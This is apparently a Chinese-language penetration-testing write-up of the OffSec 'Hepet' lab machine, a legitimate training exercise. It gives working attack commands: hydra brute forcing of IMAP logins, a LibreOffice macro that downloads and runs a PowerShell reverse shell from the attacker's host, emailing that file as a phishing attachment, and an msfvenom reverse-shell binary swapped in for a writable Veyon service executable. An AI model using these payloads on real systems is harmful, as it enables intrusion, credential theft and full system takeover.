OSCP Hepet Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Hepet

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

利用 HTTP 8000 服务搜集用户信息、创建密码本 –> hydra IMAP 协议暴力破解 –> 得到用户邮箱密码 –> 枚举邮件内容 –> sendemail 发送包含反弹 shell 宏的 LibreOffice 表格文件 –> 系统 Ela Arwel 用户权限 –> 用户旗帜

权限提升:

veyon 程序服务权限配置问题 –> 修改服务运行的二进制文件 –> 重启系统实现重启服务 –> 系统 system 权限 –> 用户旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
sudo nmap -p- 192.168.140.140 --min-rate=2000

PORT STATE SERVICE
25/tcp open smtp
79/tcp open finger
105/tcp open csnet-ns
106/tcp open pop3pw
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp open imap
443/tcp open https
445/tcp open microsoft-ds
2224/tcp open efi-mg
5040/tcp open unknown
8000/tcp open http-alt
11100/tcp open unknown
16379/tcp filtered unknown
20001/tcp open microsan
21385/tcp filtered unknown
33006/tcp open unknown
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
sudo nmap -p25,79,105,106,110,135,139,143,443,445,2224,5040,8000,11100,16379,20001,21385,33006,49664,49665,49666,49667,49668,49669 -sCV 192.168.140.140

PORT STATE SERVICE VERSION
25/tcp open smtp Mercury/32 smtpd (Mail server account Maiser)
|_smtp-commands: localhost Hello nmap.scanme.org; ESMTPs are:, TIME
79/tcp open finger Mercury/32 fingerd
| finger: Login: Admin Name: Mail System Administrator\x0D
| \x0D
|_[No profile information]\x0D
105/tcp open ph-addressbook Mercury/32 PH addressbook server
106/tcp open pop3pw Mercury/32 poppass service
110/tcp open pop3 Mercury Mail Transport System pop3d
|_pop3-capabilities: UIDL EXPIRE(NEVER) TOP USER APOP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap Mercury/32 imapd 4.62
|_imap-capabilities: IMAP4rev1 AUTH=PLAIN OK CAPABILITY X-MERCURY-1A0001 complete
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
| tls-alpn:
|_ http/1.1
|_http-title: Time Travel Company Page
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
2224/tcp open http Mercury/32 httpd
|_http-title: Mercury HTTP Services
5040/tcp open unknown
8000/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
| http-methods:
|_ Potentially risky methods: TRACE
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Time Travel Company Page
11100/tcp open vnc VNC (protocol 3.8)
| vnc-info:
| Protocol version: 3.8
| Security types:
|_ Unknown security type (40)
16379/tcp closed unknown
20001/tcp open ftp FileZilla ftpd 0.9.41 beta
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp 312 Oct 20 2020 .babelrc
| -r--r--r-- 1 ftp ftp 147 Oct 20 2020 .editorconfig
| -r--r--r-- 1 ftp ftp 23 Oct 20 2020 .eslintignore
| -r--r--r-- 1 ftp ftp 779 Oct 20 2020 .eslintrc.js
| -r--r--r-- 1 ftp ftp 167 Oct 20 2020 .gitignore
| -r--r--r-- 1 ftp ftp 228 Oct 20 2020 .postcssrc.js
| -r--r--r-- 1 ftp ftp 346 Oct 20 2020 .tern-project
| drwxr-xr-x 1 ftp ftp 0 Oct 20 2020 build
| drwxr-xr-x 1 ftp ftp 0 Oct 20 2020 config
| -r--r--r-- 1 ftp ftp 1376 Oct 20 2020 index.html
| -r--r--r-- 1 ftp ftp 425010 Oct 20 2020 package-lock.json
| -r--r--r-- 1 ftp ftp 2454 Oct 20 2020 package.json
| -r--r--r-- 1 ftp ftp 1100 Oct 20 2020 README.md
| drwxr-xr-x 1 ftp ftp 0 Oct 20 2020 src
| drwxr-xr-x 1 ftp ftp 0 Oct 20 2020 static
|_-r--r--r-- 1 ftp ftp 127 Oct 20 2020 _redirects
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
|_ftp-bounce: bounce working!
21385/tcp closed unknown
33006/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: Host: localhost; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: -2s
| smb2-time:
| date: 2025-09-12T13:50:16
|_ start_date: N/A

系统为 Windows 环境,开放有 SMTP、IMAP、Finger、POP3、HTTP、VNC、FTP 以及 Windows 的一些默认服务。

3.2 渗透测试突破边界

3.2.1 IMAP 服务爆破得到用户邮箱密码

由于靶机开放了大量服务端口,我们不确定哪些服务存在漏洞,所以需要逐个端口排查。首先可尝试枚举靶机 SMB 服务,没有得到有价值线索。

1
enum4linux -a 192.168.140.140

靶机 FTP 存在匿名访问,但仅此而已并没有泄露太多有价值信息。

1
2
3
ftp 192.168.140.140 20001
anonymous
anonymous

访问靶机 HTTP 8000、2224、443 端口,其中 8000 和 443 同属一个 web 服务,2224 为订阅邮件系统。

Web 页面没有泄露系统部署的服务信息,尝试目录也没有得到更多有价值线索。靶机开放有 SMTP、POP3 和 IMAP 服务,说明系统大概率部署了邮件应用,协议用途如下:

  • SMTP: 用于发送邮件,常见端口为 25。
  • POP3: 将邮件下载到本地,常见端口有 110(明文)、995(加密)。
  • IMAP: 用于接收邮件,常见端口有 143(明文)、993(加密)。

对于靶机的其余端口,也进行了一系列的漏洞枚举,均没有得到有价值信息,接下来尝试枚举用户邮箱,寻找系统邮件服务的突破口。

在 HTTP 8000 页面可获取到一些用户信息。

1
2
3
4
5
6
Agnes
Jonas
Martha
Admin
Magnus
Charlotte

利用 SMTP 协议验证用户是否存在,除了手动枚举还可以配合工具批量进行。

1
2
telnet 192.168.140.140 25
vrfy agnes

工具枚举:

1
https://www.verylazytech.com/network-pentesting/smtp-s-port-25-465-587

根据手动枚举得到的邮箱域名,将用户名保存至文本中,使用 smtp-user-enum 批量枚举邮箱。

1
2
3
4
5
Agnes@localhost
Jonas@localhost
Martha@localhost
Magnus@localhost
Charlotte@localhost
1
smtp-user-enum -M VRFY -U user -t 192.168.140.140

除去 administrator 其余邮箱均存在,紧接着使用 cewl 工具收集网页字符串作为密码。

1
cewl http://192.168.140.140:8000/ -m 3 -w pass.txt

通过 hydra 爆破邮箱密码,注意: 靶机禁用了 POP3 和 SMTP 的用户认证功能,只能通过 IMAP 协议进行爆破。

协议爆破参考链接:

1
https://book.hacktricks.wiki/en/generic-hacking/brute-force.html

1
2
hydra -L user -P pass.txt -f 192.168.140.140 pop3
hydra -L user -P pass.txt -f 192.168.140.140 stmp

1
hydra -L user -P pass.txt -f 192.168.140.140 imap

3.2.2 枚举用户邮件信息

利用获取的邮箱密码登录靶机 IMAP 服务,尝试枚举邮件内容。

IMAP 命令参考链接:

1
2
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html?highlight=imap#imap-bruteforce
https://donsutherland.org/crib/imap

1
2
3
4
telnet 192.168.140.140 143
a1 login Jonas@localhost SicMundusCreatusEst
a1 list "" *
a1 select inbox

枚举得知用户共收到 5 个邮件,手动枚举邮件内容。

第一封: 管理员提示用户使用了默认密码,我们已经得到了该用户密码,没有有价值信息。

1
2
a1 fetch 1 all
a1 fetch 1 body[text]

第二封: 得知公司内部使用了 LibreOffice 软件,稍后可尝试客户端攻击,将包含反弹 shell 宏的 LibreOffice 文件发送给用户邮箱。

1
2
a1 fetch 2 all
a1 fetch 2 body[text]

第三封: 没有有价值信息

1
2
a1 fetch 3 all
a1 fetch 3 body[text]

第四封: 透露向 mailadmin 发送公司组织架构表格。

1
2
a1 fetch 4 all
a1 fetch 4 body[text]

第五封: 没有有价值信息。

1
2
a1 fetch 5 all
a1 fetch 5 body[text]

除了手动枚举也可使用 curl 一次性枚举全部邮件内容。

1
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html?highlight=imap#curl

1
curl -k 'imap://192.168.140.140/INBOX' -X 'FETCH 1:5 BODY[]' --user Jonas@localhost:SicMundusCreatusEst -v 2>&1 | grep '^<'

3.2.3 发送包含反弹 shell 宏的 LibreOffice 表格,得到系统 Ela Arwel 用户权限。

根据邮件内容发现的线索,我们可尝试创建包含反弹 shell 宏的 LibreOffice 表格,然后将文件作为附件发送给 mailadmin 邮箱。

步骤一: 打开 kali LibreOffice calc,在表格写入任意内容。

步骤二: 点击 tools - macros - organize macros - basic... ,在当前文档新建一个 revs 函数。

步骤三: 复制 powershell revs shell 指令并写入反弹函数中。

1
https://www.revshells.com/

步骤四: 在函数内定义通过 powershell iex 下载并运行反弹 shell 指令,注意: kali 需要同时监听两个端口,其中一个端口用于靶机下载反弹 shell 脚本,另外一个端口使用 nc 监听获取反弹 shell。

1
2
goshs -p 8000
rlwrap nc -lvnp 79
1
2
3
Sub Main
Shell("cmd /c powershell iex (New-Object Net.Webclient).Downloadstring('http://192.168.45.236:8000/revs.ps1')")
End Sub

步骤五:tools - macros - organize macros - basic... 中设置打开文档立即执行宏代码。

步骤六: 保存文档,然后使用 sendemail 发送邮件。

1
sendemail -f 'Jonas@localhost' -t 'mailadmin@localhost' -s 192.168.140.140:25 -u 'Your spreadsheet' -m 'here is your requested spreadsheet' -a revs.ods

等待几分钟后,可得到 Ela Arwel 用户 shell。

为了让 shell 更稳定,通过 ConPtyShell 工具将 shell 升级为交互 shell,注意: 靶机只能执行一次文档的反弹 shell,执行失败需要重置靶机,执行成功 shell 断开了也需要重置靶机重新获取 shell。

1
https://github.com/antonioCoco/ConPtyShell
1
2
3
4
5
# kali
stty raw -echo; (stty size; cat) | nc -lvnp 79
# 靶机
wget http://192.168.45.236:8000/ConPtyShell.exe -O ConPtyShell.exe
.\ConPtyShell.exe 192.168.45.236 79 31 157 cmd.exe

3.2.4 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 修改系统服务可执行程序提权至 system 权限

在 Ela Arwel 用户家目录发现 veyon 目录,非常可疑,检索得知应用历史存在本地提权漏洞。

1
https://www.exploit-db.com/exploits/48246

该漏洞利用原理: veyon 服务定义的可执行程序路径未设置引号包裹,并且路径包含空有格符号,在 Windows 中系统默认会对路径逐层读取,当发现存在空格的路径时,会优先寻找空格前的内容,一旦目录存在于空格前内容相同的可执行文件,空格后的内容就会当成程序参数执行,近而导致本地提权。

参考链接:

1
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#unquoted-service-paths

根据命令检索未加引号的服务。

1
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'

我们没有权限直接在 users 目录写入文件,所以针对该漏洞的提权方式也就不适用了,由于程序安装在用户的家目录,我们有权限修改服务执行的二进制文件。

1
2
3
sc qc VeyonService
icacls "C:\Users\Ela Arwel\Veyon\veyon-service.exe"
icacls "C:\Users\Ela Arwel\Veyon"

使用 msfvenom 生成 exe 的反弹 shell,然后使用 msf handler 模块监听 79 端口。

1
2
3
4
5
6
7
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.236 LPORT=79 -f exe -o revs.exe
msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set lhost 192.168.45.236
set lport 79
run

替换服务 exe 为反弹 shell exe,注意: 需将文件重命名后再上传。

1
2
move veyon-service.exe veyon-service.exe.back
certutil -urlcache -split -f http://192.168.45.236:8000/revs.exe veyon-service.exe

尝试重启服务时提示权限拒绝,可通过重启计算机达到重启服务效果。

1
shutdown /r /t 0

等待靶机重启服务再次运行时,得到了系统 system 权限。

注意: 查看 Windows 用户特权时,发现用户没有重启系统权限,但实际仍可进行系统重启,而有时用户拥有重启系统特权却无法执行重启操作,所有单凭用户特权不能确定用户是否可重启系统,需手动尝试。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Hepet Write-up
https://www.f0nesec.top/2025/09/14/oscp-hepet/
作者
F0ne
发布于
2025年9月14日
许可协议